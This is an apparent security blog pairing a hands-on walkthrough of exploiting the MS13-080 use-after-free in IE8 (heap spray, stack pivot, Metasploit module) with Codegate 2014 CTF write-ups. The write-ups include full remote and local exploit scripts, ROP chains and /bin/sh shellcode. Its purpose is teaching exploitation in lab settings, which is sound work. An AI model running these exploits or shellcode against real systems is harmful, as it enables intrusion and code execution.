Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3

A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference.

This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes.

Setup

Install a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, http://www.oldapps.com/internet_explorer.php?old_internet_explorer=17. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise.

We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following:

(31c.8f0): Access violation - code c0000005 (!!! second chance !!!)
eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78
eip=63662dca esp=020be7ec ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xb6:
63662dca ff11            call    dword ptr [ecx]      ds:0023:02ff0801=????????
0:008> ub
mshtml!CTreeNode::GetInterface+0xa2:
63662db6 f3a7            repe cmps dword ptr [esi],dword ptr es:[edi]
63662db8 0f84c9f31800    je      mshtml!CTreeNode::GetInterface+0x1e9 (637f2187)
63662dbe 8b03            mov     eax,dword ptr [ebx]
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
0:008> k
ChildEBP RetAddr  
020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6
020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24
020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3
020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
020be990 638e5dab mshtml!CElement::setCapture+0x50
...

Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference).

Investigation

Let’s take a second to analyze.

The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved.

gflags

Running the same file, you will get a different crash now.

(40c.a04): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0
eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::HasContainerCapture+0x14:
635f4478 8b0f            mov     ecx,dword ptr [edi]  ds:0023:0d5b6fb0=????????
0:008> k
ChildEBP RetAddr  
037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14
037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2
037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
037ce990 638e5dab mshtml!CElement::setCapture+0x50

We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg.

Using the info stored in heaplib, we can use this to find the size of the chunk

0:023> .printf "0x%x", 1000 - edi & 0xFFF
0x50

Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following.

<html>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
  lfh[i] = document.createElement('div');
  lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
 

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");

    tt = new Array(20);
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424";
    }
  }
 
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
 
window.onload = function() {
  trigger();
}
</script>
</html>

We will now get a crash that looks like this:

(be0.9e4): Access violation - code c0000005 (!!! second chance !!!)
eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78
eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]  ds:0023:24242424=????????
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
63662dca ff11            call    dword ptr [ecx]
63662dcc 8bf0            mov     esi,eax
63662dce 85f6            test    esi,esi

This is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section.

Metasploit browser Detection, Heap Spray, and ROP

Because we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way.

First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8.

    'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows 7 with Office 2007|2010',
            {
              :os_name   => /win/i,
              :ua_name   => HttpClients::IE,
              :ua_ver    => "9.0",
              :os_flavor => "7",
              :office    => /2007|2010/
            }
          ],
          [
            'Windows XP with IE 8',
            {
              :os_name   => "Windows XP",
              :ua_name   => HttpClients::IE,
              :ua_ver    => "8.0";
            }
          ]
        ],

Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that.

At this point you should be able to have eip control (eip=0x414141) using something like this

  def get_exploit_html_ie8(cli, target_info)
    #address containing our heap spray is 0x20302020
    spray_addr = "\\u2020\\u2030"

    #size to fill after free is 0x50
    free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) 

    %Q|
<html>
<script>

#{js_property_spray}
tt = new Array(30);

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");
    
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className ="#{free_fill}";
    } 

  var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");  //this is mangled thanks to wordpress, but is just escaped js strings
  sprayHeap({shellcode:s});
  }

  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture(); 
}
 
window.onload = function() {
  trigger();
}
</script>
</html>
    |
  end

Finally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html.

To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found

0x77c3868a
xchg eax, esp
rcr dword [ebx-0x75], 0xFFFFFFC1
pop ebp 
ret  

This will work great. Now just put them in the right order, and we have our exploit!

msf_msgbox

I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions.

Follow-Ups

Some of my favorite work in this space is done by Peter Vreugdenhil at exodusintel. For a more advanced UAF (from someone who knows WAY more about browser exploitation than I do) see http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/

I plan on doing a part II here, perhaps trying to touch on memory leaks and newer browsers. Stay tuned…

Belated Codegate 2014 Quals Writeups and Lessons Learned

The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.

I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.

  • stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)
  • ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)
  • To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)
  • gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)
  • You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)
  • I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)
  • SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500)

Reversing 200 dodoCrackme

Running strace

$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 
execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0
mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000
write(1, "r", 1r)                        = 1
write(1, "o", 1o)                        = 1
write(1, "o", 1o)                        = 1
write(1, "t", 1t)                        = 1
write(1, "@", 1@)                        = 1
write(1, "l", 1l)                        = 1
write(1, "o", 1o)                        = 1
write(1, "c", 1c)                        = 1
write(1, "a", 1a)                        = 1
write(1, "l", 1l)                        = 1
write(1, "h", 1h)                        = 1
write(1, "o", 1o)                        = 1
write(1, "s", 1s)                        = 1
write(1, "t", 1t)                        = 1
write(1, "'", 1')                        = 1
write(1, "s", 1s)                        = 1
write(1, " ", 1 )                        = 1
write(1, "p", 1p)                        = 1
write(1, "a", 1a)                        = 1
write(1, "s", 1s)                        = 1
write(1, "s", 1s)                        = 1
write(1, "w", 1w)                        = 1
write(1, "o", 1o)                        = 1
write(1, "r", 1r)                        = 1
write(1, "d", 1d)                        = 1
write(1, ":", 1:)                        = 1
...

it looks like they’re doing syscalls for every character written and read

Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.

With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.


import gdb
import binascii
import sys


def read_weird_string(start_addr, spacing=8, block=100):
    a = gdb.selected_inferior().read_memory(start_addr, block * spacing)
    #for i in range(0,block):
    #   print
    #print help(a)
    for i in a:
        if i == "\x00":
            continue
        sys.stdout.write(i)
    print
    print binascii.hexlify(a)


read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50
gdb-peda$ source decode_string.py 
H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

Reversing 250 Clone Technique

This one has on the description: “Limited processes will be generated. Which one has the flag?”

We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.

12c

Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…

One thing I tried to do throughout this was put a breakpoint on memory access. For example,

ba w4 00409754

The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.

Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!

decode_func

My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.

>type windbg.txt
.childdbg 1
.load pykd.pyd
sxr
sxe -c "bp 00401201 \"!py iskey.py\";g"  ibp
sxi epr

>type iskey.py
#!/usr/bin/python

import pykd
import struct
import binascii

def is_possible_key(mstr):
  try:
    mstr = mstr[:mstr.index(0)]
  except ValueError:
    return False
  print mstr
  for i in mstr:
    if not (i >= 0x20 and i <= 0x7e):
      return False
  if len(mstr) > 5:
    print "".join([chr(i) for i in mstr])
    return True
  return False

edi = pykd.reg("edi")
a = pykd.loadBytes(edi,30)
if is_possible_key(a):
  print "KEYKEYKEYKEYKEYKEY"
else:
  pykd.dbgCommand("g")

>windbg -c "$$><windbg.txt" clone_technique.exe

This finds our key ‘And Now His Watch is Ended’

Forensics 150

Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark

0-weirdcap

First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here http://www.forensicswiki.org/wiki/PDF on the pdf but no luck. Looking at it, it’s

for150_1

Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.

for150_2

Then just save the pdf part to a file and we get the key

for150_3

Pwn 250 Angy Doraemon

This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.

doremon

The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)

So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.

#!/usr/bin/python

import argparse
import struct
import socket
import binascii
import time

class exploit:
  def __init__(self, args):
    self.command = args.command

    if args.fd == None:
      self.get_fd()
    else:
      self.fd = args.fd

    if args.canary == None:
      self.get_canary()
    else:
      self.canary = binascii.unhexlify(args.canary)

    self.pwn()
    
  def get_canary(self):
    self.canary = ""
    padding = "yAAAAAAAAA"
    #doing one byte at a time simplifies cases where there are null bytes
    for i in range(0,4):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((args.host, args.port))
      data = self.recv_until(">", sock)
      sock.sendall("4")

      self.recv_until("(y/n) ", sock)
      sock.sendall(padding)
      data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
      if len(data) == 58 + i:
        self.canary += "\x00"
      else:
        self.canary += data[22+i]
      padding += "A"
      sock.close()
    print "canary: ", binascii.hexlify(self.canary)

  def get_fd(self):
    self.canary = ""
    padding = "yAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")

    self.recv_until("(y/n) ", sock)
    sock.sendall(padding)
    data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
    sock.close()
    self.fd = ord(data[42])
    print "fd: ", self.fd

  def pwn(self):

    rop = struct.pack("<I", 0x08048620)       # read plt
    rop += struct.pack("<I", 0x8048b2c)       # pop 3 ret
    rop += struct.pack("<I", self.fd)         # fd
    rop += struct.pack("<I", 0x804b508)       # buf 
    rop += struct.pack("<I", 0x256)           # nbytes
    rop += struct.pack("<I", 0x08048710)      # execl
    rop += struct.pack("<I", 0x41424142)      # ret
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x804b508)       # buf "-c"
    rop += struct.pack("<I", 0x804b508 + 3)   # buf "command"
    rop += struct.pack("<I", 0x0000000)       # null

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")
    self.recv_until("(y/n) ", sock)

    padding = "yAAAAAAAAA"
    padding += self.canary
    padding += "B" * 12
    sock.sendall(padding + rop)

    self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket
    sock.sendall("-c\x00{0}\x00".format(self.command))

    data = sock.recv(1024)   
    print data
    sock.close() 

  def recv_until(self, string, sock):
    data = ""
    while True:
      tmp = sock.recv(1)
      if tmp == "":
        break
      data += tmp
      if data.endswith(string):
        break
    return data


parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.137.150")
parser.add_argument("--port", default=8888)
parser.add_argument("--canary", default=None)
parser.add_argument("--command", default="whoami")
parser.add_argument("--fd", default=None, type=int)
args = parser.parse_args()

m = exploit(args)

Pwn 350 4stone

This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.

4stone_numseconds

As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.

4stone_write

The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0xb7dc2000 0xb7dc3000 rwxp	mapped
0xb7dc3000 0xb7dc6000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc6000 0xb7dc7000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc7000 0xb7dc8000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc8000 0xb7f76000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f76000 0xb7f78000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f78000 0xb7f79000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f79000 0xb7f7d000 rwxp	mapped
0xb7f7d000 0xb7f9b000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9b000 0xb7f9c000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9c000 0xb7f9e000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9e000 0xb7f9f000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9f000 0xb7fc2000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc2000 0xb7fc3000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc3000 0xb7fc4000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fdb000 0xb7fdd000 rwxp	mapped
0xb7fdd000 0xb7fde000 r-xp	[vdso]
0xb7fde000 0xb7ffe000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp	[stack]

hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0x40000000 0x40020000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40020000 0x40021000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40021000 0x40022000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0x40022000 0x40023000 r-xp	[vdso]
0x40023000 0x40025000 rwxp	mapped
0x4003c000 0x4005f000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x4005f000 0x40060000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40060000 0x40061000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40061000 0x4007f000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x4007f000 0x40080000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40080000 0x40082000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40082000 0x40083000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40083000 0x40084000 rwxp	mapped
0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40232000 0x40234000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40234000 0x40235000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0x40235000 0x40238000 rwxp	mapped
0x40238000 0x4023b000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023b000 0x4023c000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023c000 0x4023d000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023d000 0x4023e000 rwxp	mapped
0xbffdf000 0xc0000000 rwxp	[stack]

And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?

Tracing this, in the exit .got we have

0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so

   0x4013eb04 <_exit>:	mov    ebx,DWORD PTR [esp+0x4]
   0x4013eb08 <_exit+4>:	mov    eax,0xfc
=> 0x4013eb0d <_exit+9>:	call   DWORD PTR gs:0x10

It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this http://stackoverflow.com/questions/10354063/how-to-use-a-logical-address-in-gdb by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>

Because this is bound loosely we can look for references to this in the mapped region.

gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)
Found 1 results, display max 1 items:
mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>:	push   ecx)

It looks like we could overwrite this and it would point somewhere else. Does it work?

gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c
gdb-peda$ continue 
Continuing.
...
Stopped reason: SIGSEGV
0x0c0c0c0c in ?? ()

Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit

#!/usr/bin/python

import os
import argparse
import struct
import sys
from ctypes import *

class exploit:
  def __init__(self, args):
    self.vulnpath = args.path

    #stdin (wins the game and specifies what to write)
    f = open(args.inputfile, "w")
    f.write("\nhhh\nhh\nhh\nhhh\nh\nl\nhhhh\nl\nll\nh\n\n\n")
    #f.write("c0c0c0c0")  #what to write 
    f.write("bfab0b00")  #what to write 

    f.close()

    f = os.open(args.inputfile, int('444', 8))
    print f
    print sys.stdin
    os.dup2(f, 0)

    #arg1 (sepcifies where to write)   
    self.argv = "4023d6d0" 

    #environment (shellcode) /bin/sh setuid 1003
    dashsc = (
"\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +
"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +
"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +
"\xb1\x48\x97\xfb\x48\x6f\x29\x2e\xfa\x7b\x87\x4e"
    )

    self.env = { "TERM": "xterm" }
    for i in range(0,100):
      self.env[str(i)] = "\x90" * 100000 + dashsc

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)
    
parser = argparse.ArgumentParser()
parser.add_argument("--inputfile", default="input.txt")
parser.add_argument("--path")

args = parser.parse_args()
m = exploit(args)
m.pwn()

Pwn 400 minibomb

The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.

gdb-peda$ x/4i 0x40000424
   0x40000424 <__kernel_vsyscall+16>:	pop    ebp
   0x40000425 <__kernel_vsyscall+17>:	pop    edx
   0x40000426 <__kernel_vsyscall+18>:	pop    ecx
   0x40000427 <__kernel_vsyscall+19>:	ret   
gdb-peda$ x/2i 0x080480F3
   0x80480f3:	mov    ebx,0x0
   0x80480f8:	int    0x80

We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150

.text:080480B4 lea     ebx, unk_8049150 ; start
.text:080480BA int     80h             ; 

We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.

I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: http://mslc.ctf.su/wp/codegate-2014-quals-minibomb-pwn-400/. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.

Using More Smoked Leet Chicken’s technique

#!/usr/bin/python
#listener.py

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 30123))
s.listen(1)

while True:
  conn, ts = s.accept()
  conn.sendall("/tmp/blah\x00 ")
  time.sleep(1)
  print "got connection"
  conn.close()
#!/usr/bin/python
#exploit.py

import argparse
import struct
import socket
import time
from subprocess import *

class exploit:
  def __init__(self, args):

    self.vulnpath = args.path

    padding = "A" * 16

    rop = struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 11)         #edx (length)
    rop += struct.pack("<I", 0x08049150) #ecx (buffer)
    #eax is 3 due to pipe
    rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin?

    #eax is 11 due to read 11
    rop += "AAAAAAAAAAAAAAAA"
    rop += struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0x080480B4)

    self.payload = padding + rop

  def pwn(self):
    out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out_sock.connect(("127.0.0.1", 30123))
    out_sock.setblocking(0)

    #find the right value
    out_sock.sendall("A" * eval(args.sendsize))

    p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock)

    p.stdin.write(self.payload)


parser = argparse.ArgumentParser()
parser.add_argument('--path', default="./minibomb")
parser.add_argument('--sendsize', default=0)

args = parser.parse_args()
m = exploit(args)
m.pwn()
$ ulimit -s
unlimited 
$ cat /tmp/blah 
#!/bin/bash -p

/usr/bin/id > /tmp/output
$ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"
$ cat /tmp/output 
uid=1000(test) gid=1000(test) groups=1000(test)

Web 200

I banged my head against this one for a while. In the comments was
I tried things like looking for .htaccess, etc, but no luck.

This looked promising

this looks promising
http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin

But you only get the first two lines back and the content length. But it turns out there’s a header injection!

